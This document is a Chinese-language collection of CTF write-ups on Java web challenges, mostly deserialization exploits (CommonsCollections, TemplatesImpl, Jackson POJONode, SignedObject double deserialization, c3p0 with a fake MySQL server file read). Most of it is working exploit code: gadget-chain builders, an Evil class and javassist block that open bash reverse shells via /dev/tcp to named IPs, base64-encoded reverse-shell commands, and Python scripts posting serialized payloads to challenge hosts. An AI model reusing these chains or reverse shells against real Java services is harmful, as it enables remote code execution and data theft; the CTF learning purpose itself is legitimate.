[NUSTCTF 2022 新生赛]Ezjava1
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| package com.joe1sn.controller; import ...
@Controller public class HelloController { public HelloController() { }
@RequestMapping({"/hello"}) public ModelAndView handleRequest(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws Exception { ModelAndView mav = new ModelAndView("index"); mav.addObject("message", "Do you know \"beans\"?"); return mav; }
@PostMapping({"/index"}) public void postIndex(@ModelAttribute EvalBean evalBean, Model model) { System.out.println("@POST Called"); }
@GetMapping({"/index"}) public void getIndex(@ModelAttribute EvalBean evalBean, Model model) { System.out.println("@GET Called"); }
@RequestMapping({"/addUser1"}) @ResponseBody public String addUser(User user) throws IOException { System.out.println(user.getDepartment().getName1()); if (user.getDepartment().getName1().contains("njust") && user.getName().contains("2022")) { return "flag{1}"; } else { String var10002 = user.getDepartment().getName1(); File f = new File("../webapps/ROOT/" + var10002 + user.getName() + ".njust.jsp"); return f.exists() ? "flag{2}" : user.getName(); } } }
|
payload:
1
| http://node4.anna.nssctf.cn:28171/addUser1?department.name1=njust&name=2022
|
[CISCN 2023 初赛]DeserBug
https://p4d0rn.gitbook.io/java/ctf/deserbug
https://godspeedcurry.github.io/posts/ciscn2023-deserbug/
https://ctf.njupt.edu.cn/archives/898#DeserBug
https://unk.icu/2023/05/29/ciscn2023/
依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.2</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency> <dependency> <groupId>cn.hutool</groupId> <artifactId>hutool-all</artifactId> <version>5.8.18</version> </dependency> </dependencies>
|
Main.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| package com.app;
import cn.hutool.json.JSONObject; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.Map;
public class Main { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass();
Field _nameField = templatesClass.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templates,"aaa");
ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(Evil.class.getName()); byte[] code = clazz.toBytecode(); byte[][] codes = {code}; Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes"); _bytecodesField.setAccessible(true); _bytecodesField.set(templates,codes);
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory"); _tfactoryField.setAccessible(true); _tfactoryField.set(templates,new TransformerFactoryImpl());
Myexpect myexpect = new Myexpect(); Class myexceptClass = myexpect.getClass();
Field targetclassField = myexceptClass.getDeclaredField("targetclass"); targetclassField.setAccessible(true); targetclassField.set(myexpect,TrAXFilter.class);
Field typeparamField = myexceptClass.getDeclaredField("typeparam"); typeparamField.setAccessible(true); typeparamField.set(myexpect,new Class[]{Templates.class});
Field typeargField = myexceptClass.getDeclaredField("typearg"); typeargField.setAccessible(true); typeargField.set(myexpect,new Object[]{templates});
JSONObject jsonObject = new JSONObject(); ConstantTransformer constantTransformer = new ConstantTransformer(myexpect); Map decorate = LazyMap.decorate(jsonObject,constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"abc"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1); Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(badAttributeValueExpException,tiedMapEntry);
ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream outer = new ObjectOutputStream(out); outer.writeObject(badAttributeValueExpException); byte[] result = out.toByteArray(); String result_base64 = Base64.getEncoder().encodeToString(result); System.out.println(result_base64);
} }
|
Evil.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package com.app;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet { static { try{ Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/ip/port<&1"); }catch (IOException e){ throw new RuntimeException(e); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
Myexcept.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| package com.app;
import java.lang.reflect.Constructor;
public class Myexpect extends Exception { private Class[] typeparam; private Object[] typearg; private Class targetclass; public String name; public String anyexcept;
public Class getTargetclass() { return this.targetclass; }
public void setTargetclass(Class targetclass) { this.targetclass = targetclass; }
public Object[] getTypearg() { return this.typearg; }
public void setTypearg(Object[] typearg) { this.typearg = typearg; }
public Object getAnyexcept() throws Exception { Constructor con = this.targetclass.getConstructor(this.typeparam); return con.newInstance(this.typearg); }
public void setAnyexcept(String anyexcept) { this.anyexcept = anyexcept; }
public Class[] getTypeparam() { return this.typeparam; }
public void setTypeparam(Class[] typeparam) { this.typeparam = typeparam; }
public String getName() { return this.name; }
public void setName(String name) { this.name = name; } }
|
java命令执行
1 2 3 4 5
| Runtime.getRuntime.exec("bash -c {echo,ZW52ID4gL2Rldi90Y3AvNjEuMTM5LjY1LjEzNC8zNjI2NAo=}|{base64,-d}|{bash,-i}");
Runtime.getRuntime.exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/192.168.190.1/8989<&1");
|
[闽盾杯初赛 2023] babyja
https://www.yuque.com/dat0u/ctf/nvrpmma4zybpyaeg
https://su18.org/post/ysoserial-su18-5/#vaadin1
https://su18.org/post/ysoserial-su18-5/#c3p0
https://www.cnblogs.com/ZhangZiSheng001/p/12080533.html
https://www.cnblogs.com/CoLo/p/15850685.html#hex%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E8%8A%82%E5%8A%A0%E8%BD%BD%E5%99%A8 //WrapperConnectionPoolDataSource
https://github.com/fnmsd/MySQL_Fake_Server //mysql_fake_server
1
| docker run -it -d -p 28140:8080 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} --name java lxxxin/mdb2023_babyja
|
分析:
小技巧,idea反编译jar包
https://juejin.cn/post/6868536093000761357#heading-0 //JAR包启动原理
题目信息,
先看依赖,pom.xml,使用了vaadin、fastjson、c3p0、mysql-jdbc依赖,使用的组件都有漏洞
接着看controller部分,找入口点。存在JSON解析,反序列化,经过了SecurityCheck函数检查
这里过滤了TemplatesImpl、JdbcRowSetImpl、Jndi、BadAttributeValueExpException
最终:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| package com.ctf;
import com.ctf.bean.MyBean; import com.vaadin.data.util.NestedMethodProperty; import com.vaadin.data.util.PropertysetItem;
import javax.management.BadAttributeValueExpException; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field;
public class Main { public static void main(String[] args)throws Exception{ System.out.println("Hello world!");
MyBean mybean = new MyBean();
mybean.setDatabase("mysql://39.105.51.11:3306/test?user=fileread_file:///.&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=65536&allowUrlInLocalInfile=true#");
PropertysetItem propertysetItem = new PropertysetItem(); NestedMethodProperty<Object> n = new NestedMethodProperty<>(mybean,"Connection");
propertysetItem.addItemProperty("Connection",n); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("useless");
Field valFiled = badAttributeValueExpException.getClass().getDeclaredField("val"); valFiled.setAccessible(true); valFiled.set(badAttributeValueExpException,propertysetItem);
System.out.println(bytesToHexString(serialize(badAttributeValueExpException))); } public static byte[] serialize(Object obj)throws Exception{ ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bos); out.writeObject(obj); out.flush(); return bos.toByteArray(); } public static String bytesToHexString(byte[] bArray)throws Exception{ StringBuffer sb = new StringBuffer(bArray.length); for(byte b:bArray){ String sTemp = Integer.toHexString(255 & b); if(sTemp.length() < 2){ sb.append(0); } sb.append(sTemp.toUpperCase()); } return sb.toString(); } }
|
file:///.读取目录,
file:///flag.txt读取文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import requests import base64 url = 'http://39.105.51.11:28140/' result = 'ACED00057372002E6A617661782E6D616E6167656D656E742E42616441747472696275746556616C7565457870457863657074696F6ED4E7DAAB632D46400200014C000376616C7400124C6A6176612F6C616E672F4F626A6563743B787200136A6176612E6C616E672E457863657074696F6ED0FD1F3E1A3B1CC4020000787200136A6176612E6C616E672E5468726F7761626C65D5C635273977B8CB0300044C000563617573657400154C6A6176612F6C616E672F5468726F7761626C653B4C000D64657461696C4D6573736167657400124C6A6176612F6C616E672F537472696E673B5B000A737461636B547261636574001E5B4C6A6176612F6C616E672F537461636B5472616365456C656D656E743B4C001473757070726573736564457863657074696F6E737400104C6A6176612F7574696C2F4C6973743B787071007E0008707572001E5B4C6A6176612E6C616E672E537461636B5472616365456C656D656E743B02462A3C3CFD22390200007870000000017372001B6A6176612E6C616E672E537461636B5472616365456C656D656E746109C59A2636DD8502000449000A6C696E654E756D6265724C000E6465636C6172696E67436C61737371007E00054C000866696C654E616D6571007E00054C000A6D6574686F644E616D6571007E000578700000001874000C636F6D2E6374662E4D61696E7400094D61696E2E6A6176617400046D61696E737200266A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654C697374FC0F2531B5EC8E100200014C00046C69737471007E00077872002C6A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C65436F6C6C656374696F6E19420080CB5EF71E0200014C0001637400164C6A6176612F7574696C2F436F6C6C656374696F6E3B7870737200136A6176612E7574696C2E41727261794C6973747881D21D99C7619D03000149000473697A657870000000007704000000007871007E00157873720024636F6D2E76616164696E2E646174612E7574696C2E50726F70657274797365744974656D9ACAF7AB3E0C76970200034C00046C6973747400164C6A6176612F7574696C2F4C696E6B65644C6973743B4C00036D61707400134C6A6176612F7574696C2F486173684D61703B4C001A70726F70657274795365744368616E67654C697374656E65727371007E00177870737200146A6176612E7574696C2E4C696E6B65644C6973740C29535D4A608822030000787077040000000174000A436F6E6E656374696F6E78737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C7708000000100000000171007E001C73720029636F6D2E76616164696E2E646174612E7574696C2E4E65737465644D6574686F6450726F706572747956A24BCB8C99399B0300034C0008696E7374616E636571007E00014C000C70726F70657274794E616D6571007E00054C0004747970657400114C6A6176612F6C616E672F436C6173733B78720025636F6D2E76616164696E2E646174612E7574696C2E416273747261637450726F7065727479BC66A06A5CCF109E0200035A0008726561644F6E6C794C001D726561644F6E6C795374617475734368616E67654C697374656E65727371007E00174C001476616C75654368616E67654C697374656E65727371007E0017787000707073720013636F6D2E6374662E6265616E2E4D794265616ED9AB22C53614114E0200054C000A636F6E6E656374696F6E7400154C6A6176612F73716C2F436F6E6E656374696F6E3B4C0008646174616261736571007E00054C0004686F737471007E00054C000870617373776F726471007E00054C0008757365726E616D6571007E000578707074008A6D7973716C3A2F2F33392E3130352E35312E31313A333330362F746573743F757365723D66696C65726561645F66696C653A2F2F2F666C61672E74787426414C4C4F574C4F41444C4F43414C494E46494C453D74727565266D6178416C6C6F7765645061636B65743D363535333626616C6C6F7755726C496E4C6F63616C496E66696C653D747275652370707071007E001C767200136A6176612E73716C2E436F6E6E656374696F6E00000000000000000000007870787870' data = { 'username':'xxxxxxxxxxxx', 'password':'xxxxxxxxxxxx' }
s = requests.Session() res = s.post(url+'login',data=data).text cookie = s.cookies['JSESSIONID'] print(cookie,res)
data = '''{ "a": { "@type": "java.lang.Class", "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" }, "b": { "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString": "HexAsciiSerializedMap:'''+result+''';", } }''' base64data = base64.b64encode(data.encode()).decode() res = s.post(url+'admin/123',cookies={'JSESSIONID':cookie},data={"data":base64data}).text print(res)
|
开始python脚本没有打通,原因是session的cookie好像得自己带一下?还有data和json搞混了。还是没成功,就是字典str之后,就少了缩进和换行可能,在cyberchef中带有换行base64编码一下是成功的。所以改了str取消换成字符拼接就行了。java的代码写的没问题。mysql_fake_server也没问题。
有时间再详细研究c3p0的依赖和vaadin的依赖,二次发序列化,先打通才能研究。
2023阿里云CTF Bypassit1
https://www.yuque.com/dat0u/ctf/yc1rtuv3s2e3632u
https://xz.aliyun.com/t/12509
1
| docker run -it -d -p 28120:8080 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/aliyunctf2023_bypassit1
|
http://39.105.51.11:28120/
idea反编译jar,可以看到控制器部分,
题目依赖,
其中jackson在spring-boot-starter-web中
暂且就这些依赖,sink点大致就是jdk自带的TemplatesImpl,
TemplatesImpl的getter方法
接下来问题就转换为如何调用TemplatesImpl的getter方法,至于为什么是getter方法,可以看之前CC3链分析,当时最终的目的是调用TemplatesImpl的newTransformer方法,之所以要调用newTransformer方法目的还是为了调用其getTransletInstance方法,所以我们直接寻找getter方法了。
对于getter和setter方法的讲解,看https://zhuanlan.zhihu.com/p/85270275 getter和setter这个应该在CISCN 2023初赛中那个题目中使用到过翻回去看看。
在jackson中,POJONode#toString方法(实际上是其父类BaseJsonNode#toString)可以调用getter方法
调用过程如下:
1 2 3 4 5 6 7 8 9
| BaseJsonNode#toString InternalNodeMapper#nodeToString ObjectWriter#writeValueAsString ObjectWriter#_writeValueAndClose DefaultSerializerProvider#serializeValue DefaultSerializerProvider#_serialize BeanSerializer#serialize BeanSerializerBase#serializeFields BeanPropertyWriter#serializeAsField
|
问题又转换为如何调用任意类的toString方法,而JDK中BadAttributeValueExpException类在反序列化时可以调用任意类toString方法(参考CC5链的source部分)
最终:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| package org.example; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils; import javassist.ClassPool; import javassist.CtClass;
import javax.management.BadAttributeValueExpException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class AliyunBypassIt { public static String filePath = "E:\\03code_environment\\02java\\05ctf_cc\\aliyun_bypassit1\\target\\classes\\org\\example\\ser.bin";
public static void main(String[] args) throws Exception { byte[] code = getTemplates(); byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "useless"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates, "_bytecodes", codes);
POJONode node = new POJONode(templates); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
ser(val); unser(filePath); } public static void ser(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath)); objectOutputStream.writeObject(obj); objectOutputStream.close(); } public static void unser(String filePath) throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(filePath))); in.readObject(); }
public static byte[] getTemplates() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass template = pool.makeClass("MyTemplate"); template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNTEuMTEvNzc3OSAwPiYx}|{base64,-d}|{bash,-i}\");"; template.makeClassInitializer().insertBefore(block); return template.toBytecode(); } public static void setFieldValue(Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true); dField.set(obj, val); } }
|
1 2 3 4 5
| import requests url = "http://39.105.51.11:28120/bypassit" data = open("", "rb") res = requests.post(url, data=data) print(res.text)
|
1
| bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNTEuMTEvNzc3OSAwPiYx}|{base64,-d}|{bash,-i}
|
没成功,可能因为包名不一样?新建了个项目,还是没成功
没看到这个。这里有几个注意点
Java在writeObject序列化的时候,如果序列化的类实现了writeReplace方法,就会调用并做检查,而BaseJsonNode
然后这样子就成功了。
分析:
https://juejin.cn/post/7243607462008389669 //spring-boot-starter-web自带jackson依赖
首先org.springframework.boot maven引入失败的问题解决,我们尝试直接导入jackson依赖试试吧。
1 2 3 4 5 6 7 8 9 10 11 12 13
| <!--jackson依赖--> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.1</version> </dependency>
#这个可以对应题目 <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.13.3</version> </dependency>
|
jackson调用getter方法分析:
1 2 3 4 5 6 7 8 9
| BaseJsonNode#toString InternalNodeMapper#nodeToString ObjectWriter#writeValueAsString ObjectWriter#_writeValueAndClose DefaultSerializerProvider#serializeValue DefaultSerializerProvider#_serialize BeanSerializer#serialize BeanSerializerBase#serializeFields BeanPropertyWriter#serializeAsField
|
在jackson中,POJONode#toString方法(实际上是其父类BaseJsonNode#toString)可以调用getter方法
首先导入jackson依赖
1 2 3 4 5
| <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.1</version> </dependency>
|
然后来到POJONode#toString方法,首先看一下POJONode类的继承关系,如下:
可以看到POJONode类继承了ValueNode类又继承了BaseJsonNode类,而BaseJsonNode类为抽象类,
有些问题,暂且搁置
Jackson的序列化触发getter的流程2:
https://xz.aliyun.com/t/12509#toc-1
在jackson中将对象序列化成一个json串主要是使用的ObjectMapper#writeValueAsString
方法
写一个例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| package org.example;
import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper;
public class Test { public static void main(String[] args)throws JsonProcessingException { System.out.println("hello");
MySex mySex = new MySex(); mySex.setSex(true); User xxx = new User("xxx","123",mySex); ObjectMapper mapper = new ObjectMapper(); String json = mapper.writeValueAsString(xxx); System.out.println(json); } } class MySex{ private Boolean sex;
public Boolean getSex() { return sex; }
public void setSex(Boolean sex) { this.sex = sex; } } class User{ private String username; private String password; private MySex sex; public User(String username,String password,MySex sex){ this.username = username; this.password = password; this.sex = sex; }
public String getUsername() { return username; }
public void setUsername(String username) { this.username = username; }
public String getPassword() { return password; }
public void setPassword(String password) { this.password = password; }
public MySex getSex() { return sex; }
public void setSex(MySex sex) { this.sex = sex; } }
|
在使用ObjectMapper#writeValueAsString这个方法的过程中将会调用getter方法,调用栈如下:
提及几个关键的方法DefaultSerializerProvider#serializeValue,
通过findTypedValueSerializer
来从缓存中获取对应的序列化器,如果没有将会创建一个序列化器并写入缓存中,这里传入的是一个POJO对象,所以得到的是一个BeanSerializer
类
来到BeanSerializer#serialize进行json串的构造
首先是调用writeStartObject
方法写入{
字符,之后中间是对Bean对象的属性值的一些构造,最后是调用writeEndObject
方法写入}
字符
而在BeanSerializerBase#serializeFields
方法中,主要是对Bean类中的所有属性值的写入
而最后是能够调用对应属性值的getter方法进行赋值
jackson版本对应的问题
对应2.9.1的执行报错:
看了一下题目的是2.13.3,而我使用的是2.9.1,所以弹不出计算器。这个版本不同在源码的体现也不同。
2.13.3的源码部分POJONode#toString是其父类实现的,而2.9.1的POJONode#toString是其自身实现的
最终弹出计算器
所以说这里利用还是有版本限制的。
2023巅峰极客 BabyURL
https://www.yuque.com/dat0u/ctf/cxipcn0g3spz7v0r
https://www.viewofthai.link/2023/07/22/%e5%b7%85%e5%b3%b0%e6%9e%81%e5%ae%a2ctf-2023-%e4%b8%8a-babyurl/
https://www.cnblogs.com/jasper-sec/p/17880638.html
https://xz.aliyun.com/t/12846
https://xz.aliyun.com/t/12485
环境:
1 2
| docker run -it -d -p 28120:8080 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/dfjk2023_babyurl http://39.105.51.11:28120/
|
1 2 3 4 5 6
| <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.7.3</version> <relativePath/> <!-- lookup parent from repository --> </parent>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter</artifactId> </dependency>
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency>
|
关于springboot的maven配置参考https://blog.csdn.net/qq_18335837/article/details/100566949
分析1-SignedObject二次反序列化:
用idea反编译jar,hack路由存在反序列化,如下:
这个反序列化MyObjectInputStream类是自定义对象输入流,过滤了URLvisit和URLhelper。file路由读取/tmp/file内容返回。URLhelper类有反序列化入口。
这里URLHelper类被过滤,无法直接反序列化,可以二次反序列化,java.security.SignObject#getObject触发二次反序列化。
这样一来,就转换成了调用任意对象的getter方法了。和刚才的aliyun bypassit一样了。
几个需要注意的点;
- 本地重写一下BaseJsonNode类,把writeReplace方法删除掉才能正常反序列化
- 在URLHelper中会对传入的url做校验,不过用的是
myurl.startsWith("file")
方式校验,可以通过大写绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package com.yancao.ctf;
import com.fasterxml.jackson.databind.node.POJONode; import com.yancao.ctf.bean.URLHelper; import com.yancao.ctf.bean.URLVisiter;
import javax.management.BadAttributeValueExpException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.security.*;
public class Main { public static String filePath = "E:\\03code_environment\\02java\\05ctf_cc\\dianfengjike_urlbaby\\target\\classes\\com\\yancao\\ctf\\Main.bin"; public static void main(String[] args)throws Exception { System.out.println("Hello world!");
URLHelper handler = new URLHelper("File:///"); handler.visiter = new URLVisiter();
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); SignedObject signedObject = new SignedObject(handler,privateKey,signingEngine);
POJONode node = new POJONode(signedObject); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setFieldValue(badAttributeValueExpException,"val",node);
ser(badAttributeValueExpException); unser(filePath); } public static void setFieldValue(Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true); dField.set(obj, val); } public static void ser(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath)); objectOutputStream.writeObject(obj); objectOutputStream.close(); } public static void unser(String filePath) throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(filePath))); in.readObject(); } }
|
调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| readObject:18, URLHelper (com.yancao.ctf.bean) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1900, ObjectInputStream (java.io) readOrdinaryObject:1801, ObjectInputStream (java.io) readObject0:1351, ObjectInputStream (java.io) readObject:371, ObjectInputStream (java.io) getObject:180, SignedObject (java.security) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser) serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std) serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser) defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind) serialize:115, POJONode (com.fasterxml.jackson.databind.node) serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std) serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std) _serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser) serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser) serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind) _writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind) writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind) nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node) toString:62, BaseJsonNode (com.fasterxml.jackson.databind.node) readObject:86, BadAttributeValueExpException (javax.management) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1900, ObjectInputStream (java.io) readOrdinaryObject:1801, ObjectInputStream (java.io) readObject0:1351, ObjectInputStream (java.io) readObject:371, ObjectInputStream (java.io) unser:51, Main (com.yancao.ctf) main:37, Main (com.yancao.ctf)
|
1 2 3 4 5 6 7 8 9
| import requests import base64 url = "http://39.105.51.11:28120/hack" data = open(r"E:\03code_environment\02java\05ctf_cc\dianfengjike_urlbaby\target\classes\com\yancao\ctf\Main.bin", "rb").read() data = base64.b64encode(data).decode() print(data) res = requests.get(url = url+'?payload='+data) print(res.text)
|
不知道为什么总是失败,应该问题出在了输出的对象上。
找了不知多久。。终于找到了各种失败的原因。因为在get请求时没有把base64编码后的数据url编码处理,因为存在斜杠的原因,所以失败。!!!
1 2 3 4 5 6 7 8 9 10 11
| import requests import base64 import urllib.parse url = "http://39.105.51.11:28120/hack" data = open(r"E:\03code_environment\02java\05ctf_cc\dianfengjike_urlbaby\target\classes\com\yancao\ctf\Main.bin", "rb").read() data = base64.b64encode(data).decode() data = urllib.parse.quote(data)
print(data) res = requests.get(url = url+'?payload='+data) print(res.text)
|
分析2-绕过黑名单打TemplatesImpl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| package com.yancao.ctf;
import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils; import javassist.ClassPool; import javassist.CtClass;
import javax.management.BadAttributeValueExpException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class Main { public static String filePath = "E:\\03code_environment\\02java\\05ctf_cc\\dianfengjike_urlbaby\\target\\classes\\com\\yancao\\ctf\\Main.bin";
public static void main(String[] args) throws Exception { byte[] code = getTemplates(); byte[][] codes = {code};
